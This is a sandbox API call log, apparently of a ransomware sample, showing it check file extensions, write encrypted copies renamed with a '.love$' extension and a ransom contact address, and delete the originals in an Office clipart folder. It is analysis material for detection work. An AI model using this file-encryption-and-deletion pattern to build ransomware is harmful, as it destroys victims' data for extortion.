[0269.043] lstrlenW (lpString=".7z") returned 3 [0269.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.043] lstrlenW (lpString=".dbf") returned 4 [0269.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.044] lstrlenW (lpString=".1cd") returned 4 [0269.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.044] lstrlenW (lpString=".jpg") returned 4 [0269.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.044] lstrlenW (lpString=".doc") returned 4 [0269.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.044] lstrlenW (lpString=".docx") returned 5 [0269.044] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0269.044] lstrlenW (lpString=".pdf") returned 4 [0269.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.044] lstrlenW (lpString=".xls") returned 4 [0269.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.044] lstrlenW (lpString=".xlsx") returned 5 [0269.044] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0269.044] lstrlenW (lpString=".ppt") returned 4 [0269.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.044] lstrlenW (lpString=".zip") returned 4 [0269.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.045] lstrlenW (lpString=".rar") returned 4 [0269.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.045] lstrlenW (lpString=".bz2") returned 4 [0269.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.045] lstrlenW (lpString=".7z") returned 3 [0269.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.045] lstrlenW (lpString=".dbf") returned 4 [0269.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.045] lstrlenW (lpString=".1cd") returned 4 [0269.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.046] lstrlenW (lpString=".jpg") returned 4 [0269.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.268] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0269.268] lstrlenW (lpString="J0099182.WMF") returned 12 [0269.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.271] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3840) returned 1 [0269.271] CloseHandle (hObject=0x418) returned 1 [0269.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0269.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.272] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.272] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0269.275] GetLastError () returned 0x0 [0269.275] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xf00, lpOverlapped=0x0) returned 1 [0269.278] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xf10, lpOverlapped=0x0) returned 1 [0269.281] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.281] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0269.281] SetEndOfFile (hFile=0x4e4) returned 1 [0269.281] CloseHandle (hObject=0x4e4) returned 1 [0269.282] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.282] SetEndOfFile (hFile=0x418) returned 1 [0269.289] CloseHandle (hObject=0x418) returned 1 [0269.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0269.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.293] lstrlenW (lpString=".doc") returned 4 [0269.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.293] lstrlenW (lpString=".docx") returned 5 [0269.293] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0269.293] lstrlenW (lpString=".pdf") returned 4 [0269.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.293] lstrlenW (lpString=".xls") returned 4 [0269.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.293] lstrlenW (lpString=".xlsx") returned 5 [0269.293] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0269.294] lstrlenW (lpString=".ppt") returned 4 [0269.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.294] lstrlenW (lpString=".zip") returned 4 [0269.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.294] lstrlenW (lpString=".rar") returned 4 [0269.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.294] lstrlenW (lpString=".bz2") returned 4 [0269.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.294] lstrlenW (lpString=".7z") returned 3 [0269.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.294] lstrlenW (lpString=".dbf") returned 4 [0269.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.295] lstrlenW (lpString=".1cd") returned 4 [0269.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.295] lstrlenW (lpString=".jpg") returned 4 [0269.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.295] lstrlenW (lpString=".doc") returned 4 [0269.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.295] lstrlenW (lpString=".docx") returned 5 [0269.295] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0269.295] lstrlenW (lpString=".pdf") returned 4 [0269.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.295] lstrlenW (lpString=".xls") returned 4 [0269.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.295] lstrlenW (lpString=".xlsx") returned 5 [0269.296] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0269.296] lstrlenW (lpString=".ppt") returned 4 [0269.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.296] lstrlenW (lpString=".zip") returned 4 [0269.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.296] lstrlenW (lpString=".rar") returned 4 [0269.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.296] lstrlenW (lpString=".bz2") returned 4 [0269.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.296] lstrlenW (lpString=".7z") returned 3 [0269.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.296] lstrlenW (lpString=".dbf") returned 4 [0269.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.297] lstrlenW (lpString=".1cd") returned 4 [0269.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0269.297] lstrlenW (lpString=".jpg") returned 4 [0269.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.297] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0269.297] lstrlenW (lpString="J0099183.WMF") returned 12 [0269.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.299] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4946) returned 1 [0269.299] CloseHandle (hObject=0x418) returned 1 [0269.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0269.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.301] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.302] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0269.304] GetLastError () returned 0x0 [0269.304] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1352, lpOverlapped=0x0) returned 1 [0269.307] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1360, lpOverlapped=0x0) returned 1 [0269.309] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.309] WriteFile (in: hFile=0x4e4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0269.311] SetEndOfFile (hFile=0x4e4) returned 1 [0269.311] CloseHandle (hObject=0x4e4) returned 1 [0269.311] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.312] SetEndOfFile (hFile=0x418) returned 1 [0269.889] CloseHandle (hObject=0x418) returned 1 [0269.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0269.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.892] lstrlenW (lpString=".doc") returned 4 [0269.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.893] lstrlenW (lpString=".docx") returned 5 [0269.893] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0269.893] lstrlenW (lpString=".pdf") returned 4 [0269.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.893] lstrlenW (lpString=".xls") returned 4 [0269.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.893] lstrlenW (lpString=".xlsx") returned 5 [0269.893] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0269.893] lstrlenW (lpString=".ppt") returned 4 [0269.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.893] lstrlenW (lpString=".zip") returned 4 [0269.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.893] lstrlenW (lpString=".rar") returned 4 [0269.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.893] lstrlenW (lpString=".bz2") returned 4 [0269.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.894] lstrlenW (lpString=".7z") returned 3 [0269.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.894] lstrlenW (lpString=".dbf") returned 4 [0269.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.894] lstrlenW (lpString=".1cd") returned 4 [0269.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.894] lstrlenW (lpString=".jpg") returned 4 [0269.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.894] lstrlenW (lpString=".doc") returned 4 [0269.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.895] lstrlenW (lpString=".docx") returned 5 [0269.895] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0269.895] lstrlenW (lpString=".pdf") returned 4 [0269.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.895] lstrlenW (lpString=".xls") returned 4 [0269.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.895] lstrlenW (lpString=".xlsx") returned 5 [0269.895] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0269.896] lstrlenW (lpString=".ppt") returned 4 [0269.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.896] lstrlenW (lpString=".zip") returned 4 [0269.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.896] lstrlenW (lpString=".rar") returned 4 [0269.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.896] lstrlenW (lpString=".bz2") returned 4 [0269.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.896] lstrlenW (lpString=".7z") returned 3 [0269.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.896] lstrlenW (lpString=".dbf") returned 4 [0269.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.896] lstrlenW (lpString=".1cd") returned 4 [0269.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0269.896] lstrlenW (lpString=".jpg") returned 4 [0269.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.897] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0269.897] lstrlenW (lpString="J0099188.JPG") returned 12 [0269.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.898] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=9080) returned 1 [0269.898] CloseHandle (hObject=0x418) returned 1 [0269.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0269.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.899] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.900] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0269.902] GetLastError () returned 0x0 [0269.902] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2378, lpOverlapped=0x0) returned 1 [0269.905] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2380, lpOverlapped=0x0) returned 1 [0269.907] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.907] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0269.907] SetEndOfFile (hFile=0x4ac) returned 1 [0269.908] CloseHandle (hObject=0x4ac) returned 1 [0269.908] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.908] SetEndOfFile (hFile=0x418) returned 1 [0269.912] CloseHandle (hObject=0x418) returned 1 [0269.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0269.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.918] lstrlenW (lpString=".doc") returned 4 [0269.918] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0269.918] lstrlenW (lpString=".docx") returned 5 [0269.918] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0269.918] lstrlenW (lpString=".pdf") returned 4 [0269.918] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0269.918] lstrlenW (lpString=".xls") returned 4 [0269.918] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0269.918] lstrlenW (lpString=".xlsx") returned 5 [0269.919] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0269.919] lstrlenW (lpString=".ppt") returned 4 [0269.919] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0269.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.919] lstrlenW (lpString=".zip") returned 4 [0269.919] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0269.919] lstrlenW (lpString=".rar") returned 4 [0269.919] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0269.919] lstrlenW (lpString=".bz2") returned 4 [0269.919] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0269.919] lstrlenW (lpString=".7z") returned 3 [0269.919] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0269.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.919] lstrlenW (lpString=".dbf") returned 4 [0269.919] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0269.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.919] lstrlenW (lpString=".1cd") returned 4 [0269.919] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0269.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 